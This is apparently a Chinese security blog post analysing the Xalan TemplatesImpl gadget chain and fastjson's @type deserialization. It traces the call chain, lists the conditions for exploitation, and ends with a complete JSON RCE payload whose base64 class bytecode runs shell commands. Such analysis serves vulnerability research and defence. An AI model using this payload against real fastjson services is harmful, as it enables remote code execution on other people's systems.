Xalan链+fastjson Rce分析

0x01 前沿

java.lang.ClassLoader是java中负责类加载的抽象类,类中包含一个特别重要的方法defineClass,它用于将字节数组(代表一个类的字节码)转换为`Class`对象(加载这个类到jvm),这个方法通常被子类用于实现类加载的逻辑。

定义:

protected final Class<?> defineClass(String name, byte[] b, int off, int len)

参数说明:

  • name:类的全限定名。

  • b:表示类的字节码的字节数组。

  • off:表示字节数组的起始偏移量。

  • len:表示要使用的字节数。

defineClass方法通常被自定义的类加载器重写,用于将字节数组转换为Class对象,这对于动态加载类或者加载非标准的类文件格式非常有用。

如下展示了如何使用自定义的类加载器和defineClass方法来定义类:

public class MyClassLoader extends ClassLoader {    //这里定义新的方法,调用了父类的definclass    public Class<?> defineClassFromByteArray(String name, byte[] b) {        return defineClass(name, b, 0, b.length);    }     //也可以直接进行重写findclass,我们可以实现自定义的类加载逻辑,例如从特定位置加载类文件的字节码数据。一旦获取了类文件的字节码数据,可以通过defineClass方法将字节数组转换为Class对象    //对于defineClass方法,不建议重写  @Override    protected Class<?> findClass(String name) throws ClassNotFoundException {        // 自定义加载逻辑,例如从特定位置加载类文件的字节码数据        byte[] classData = // 从某处获取类的字节码数据        if (classData == null) {            throw new ClassNotFoundException(name);        }        return defineClass(name, classData, 0, classData.length);  }}
public class Main { public static void main(String[] args) { //对重新定义方法的调用 MyClassLoader myLoader = new MyClassLoader(); byte[] classData = // 从某处获取类的字节码数据 Class<?> myClass = myLoader.defineClassFromByteArray("com.example.MyClass", classData); }}

利用defineClass 我们可以是定义加载任意一个类到jvm,可以在程序中使用该类.

0x02 Xalan链

而Xalan链 最底层的原理就是,在TemplatesImpl类的defineTransletClasses方法中,存在对defineClass方法的调用,我们不妨跟进一下TemplatesImpl的

defineTransletClasses方法

Xalan链+fastjson Rce分析

可以看到defineTransletClasses方法去调用loader.defineClass,并传入了_bytecodes[i] 这个字节数组,这不是和我们前沿例子里面的有着异曲同工之妙吗?

再跟进,调出defineTransletClasses的调用链

Xalan链+fastjson Rce分析

发现了getTransletInstance 调用了defineTransletClasses,并贴心的进行了newInstance,好,非常好

Xalan链+fastjson Rce分析

newTransformer使用了getTransletInstance方法,继续跟进

Xalan链+fastjson Rce分析

getOutputProperties方法使用了newTransformer方法,这里就结束了,因为后面就是我自己的java包调用了

总结一下调用链子:

getOutputProperties(public)->newTransformer(public)->getTransletInstance(private)->defineTransletClasses(private)


从上面分析来看,我们可以找这2个方法来用,defineTransletClasses方法肯定不行,没有把加载的类进行实例化,而getTransletInstance是私有方法,无法被外部直接调用的newTransformer和getOutputProperties方法了,而getOutputProperties本身就直接调用了newTransformer

0x03 fastjson RCE

1、原理

多的不说,直接进去正题:

package com.test;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;class Testclass{ static String name = ""; static String Age= "";
public void setName(String name) { System.out.println("调用了 setName方法n"); this.name = name; } public void setAge(String age) { System.out.println("调用了 setAge方法n"); this.Age = age; } public String getName() { System.out.println("调用了 getName方法n"); return name; }
public String getAge() { System.out.println("调用了 getAge方法n"); return Age; }}public class fastjson_Rce { public static void main(String[] args) { String json = "{"@type":"com.test.Testclass","Age":3,"name":"lihua"}"; JSON.parseObject(json); }}

运行结果

Xalan链+fastjson Rce分析

JSON.parseObject方法:@type关键字标识的是这个字符串是由某个类序列化而来,fastjson在转换的时候就会把该json字符串转换到@type指定的类并生成一个JSONObject,在转换过程中会调用该类得setter和getter方法.

Xalan链+fastjson Rce分析

JSON.parse方法:只会调用该类的sett e r方法,并不会调用getter方法

直接步入调试分析,反序列化过程,因为我这里parseObject就传入了一个参数,所以流程可能不太一样,我这里直接找关键的流程点

这里调用了类的set方法,也是这里把DefaultJSONParser类型转换成对象类型

Xalan链+fastjson Rce分析

直接跟进,跟进,跟进,这里会判断key 是否为@type

Xalan链+fastjson Rce分析

然后通过lexer.scanSymbol(this.symbolTable, '"');来获取key对应的value,也就是我们传入的类名,然后把值传入TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());进行类加载,

Xalan链+fastjson Rce分析

当我们走到这一部,我们已经拿到了这个类了

Xalan链+fastjson Rce分析

跟啊跟啊跟啊,太绕了,绕得很好,下次别绕了,跟到这一步,获取了传入的类的构造方法,并通过构造方法new一个实例了.

Xalan链+fastjson Rce分析

继续跟啊跟啊 ,到这一步,就直接获取了setter方法,然后传入了参数

Xalan链+fastjson Rce分析

好了,set方法就分析到这里了,我们这里看一下get方法在哪里调用的

根据调试发现getter方法是在获取java对象之后调用的

Xalan链+fastjson Rce分析

跟进,这一步,执行了该类的getter方法

Xalan链+fastjson Rce分析

跟进一下Json.parse方法,发现这里只调用了一个public static Object parse(String text, int features) ,然后就返回了,所以只调用了setter方法.

Xalan链+fastjson Rce分析

原理理得差不多了,现在看如何利用

2、利用

fastjson解析json字符串时,如果key为@type 对时会默认初始化vlaue指定的类,并实例化,然后调用其setter和getter方法.

利用就是把这个类的set方法,get方法加上恶意代码就行了,但是正常的代码不太可能有这么爽的类,所以存在利用链这一说法,这里看一下Xalan链和fastjson反序列化联动的情况

前面分析了Xalan链,要利用成功,需调用newTransformer或者getOutputProperties方法,且得把私有属性 _bytecodes 设置成我们的恶意class byte数组

从代码来看,庆幸的是TemplatesImpl类中是有setTransletBytecodes方法的

Xalan链+fastjson Rce分析

而getOutputProperties方法,正好是_outputProperties属性的getter方法

那么payload就为这样?

{“@type”:"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":”1111″,”_outputProperties“:””}

再看看代码,跟进getOutputProperties,发现还需要_name 还不能为null

Xalan链+fastjson Rce分析

而_name的setter方法为setTransletName

Xalan链+fastjson Rce分析

继续跟进

Xalan链+fastjson Rce分析

看这部分代码,创建了一个 TransletClassLoader 对象,在这段代码中,TransletClassLoader 类型的 loader 对象通过 AccessController.doPrivileged 方法创建,并且在 run 方法中使用了 TransletClassLoader 的构造函数来初始化,而_tfactory 对象使用了getExternalExtensionsMap()如果_tfactory为空,则会抛出NullPointerException

所以这里_tfactory也不能为null

继续跟进,在实例化完成后,进行(AbstractTranslet)强制类型转换

Xalan链+fastjson Rce分析

所以我们的恶意代码必须为AbstractTranslet类或其子类

到这里就疏理完了,实际上在调的时候遇到的坑

Xalan链+fastjson Rce分析

fastjson会把key值前面的_去掉

后面调,怎么都没有成功,才发现我们设置的私有,或者保护

Xalan链+fastjson Rce分析

默认情况下,Fastjson 只会访问公共的字段,而私有字段和受保护字段是不可访问的,启用Feature.SupportNonPublicField就可以访问非公共字段

直接附上exp调的时候,又报错了

Xalan链+fastjson Rce分析

syntax error, expect {, actual string, pos 1947, fieldName _tfactory

从报错可以看到fieldName和tfactory参数,期望是一个对象,但实际上是一个字符串

从代码来看,fieldName和tfactory都为对象,从前面我们跟的时候可以看到,fastjson调用setter方法的时候会把key对应的value值传入进去作为参数,所以这里爆类型不匹配,那么直接传入一个对象就可以了

Xalan链+fastjson Rce分析

总结以上遇到的坑

fastjson 利用Xalan链子RCE的条件为:

1._tfactory和_fieldName key值对应的必须为对象

2.fastjson必须启用Feature.SupportNonPublicField

3._bytecodes[]中加载的类需为AbstractTranslet的子类

payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIAPgoADwAfCAAgCAAhCgAiACMIACQKACUAJggAJwgAKAgAKQoAKgArCgAqACwHAC0KAAwALgcALwcAMAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAvBwAxBwAtAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAMgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQAZVGVzdEFic3RyYWN0VHJhbnNsZXQuamF2YQwAEAARAQAWb3BlbiAtYSBDYWxjdWxhdG9yLmFwcAEAB29zLm5hbWUHADMMADQANQEAB1dpbmRvd3MHADEMADYANwEAFmNhbGMgMTIzNDU2Nzg5MDEyMzQ1NjcBAAVMaW51eAEAFGN1cmwgbG9jYWxob3N0Ojk5OTkvBwA4DAA5ADoMADsAPAEAE2phdmEvaW8vSU9FeGNlcHRpb24MAD0AEQEALmNvbS9hbmJhaS9zZWMvY2xhc3Nsb2FkZXIvVGVzdEFic3RyYWN0VHJhbnNsZXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAQamF2YS9sYW5nL1N0cmluZwEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAOAA8AAAAAAAMAAQAQABEAAQASAAAAowACAAQAAAA5KrcAARICTBIDuAAETSwSBbYABpkACRIHTKcADywSCLYABpkABhIJTLgACiu2AAtXpwAITi22AA2xAAEAKAAwADMADAACABMAAAAyAAwAAAANAAQADgAHAA8ADQARABYAEgAcABMAJQAUACgAGAAwABsAMwAZADQAGgA4ABwAFAAAABgABP8AHAADBwAVBwAWBwAWAAALSgcAFwQAAQAYABkAAgASAAAAGQAAAAMAAAABsQAAAAEAEwAAAAYAAQAAACEAGgAAAAQAAQAbAAEAGAAcAAIAEgAAABkAAAAEAAAAAbEAAAABABMAAAAGAAEAAAAmABoAAAAEAAEAGwABAB0AAAACAB4="],"_name":"","_tfactory":{},"_outputProperties":{}}

这里_bytecodes为啥不是[]byte类型,是base64字符串?因为fastjson在默认情况下,会把JSON 字符串中的 Base64 编码的数据自动解码为 byte 数组,再说你不在json字符串传[]byte也不好弄.


原文始发于微信公众号(Gamma实验室):Xalan链+fastjson Rce分析

版权声明:admin 发表于 2023年12月14日 下午4:44。
转载请注明:Xalan链+fastjson Rce分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...